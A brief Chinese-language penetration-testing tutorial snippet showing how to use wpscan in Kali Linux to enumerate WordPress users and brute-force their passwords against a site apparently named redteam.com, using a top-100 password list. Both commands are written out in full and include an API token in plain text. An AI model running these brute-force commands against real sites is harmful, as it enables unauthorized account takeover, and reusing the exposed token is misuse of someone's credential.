这里使用的是kali环境中自带的wpscan,这是一款漏洞扫描工具,当然也可以用来穷举爆破。
https://wpscan.com/profile
首先注册账号,获取API
wpscan --url http://www.redteam.com/ -e u -P ~/Desktop/top100password.txt --api-token fRsjWtLaKRmqYgKTce93l62glU2smn5sXsKM3CICxPc
穷举指定用户
wpscan --url http://www.redteam.com/ -U admin -P ~/Desktop/top100password.txt --api-token fRsjWtLaKRmqYgKTce93l62glU2smn5sXsKM3CICxPc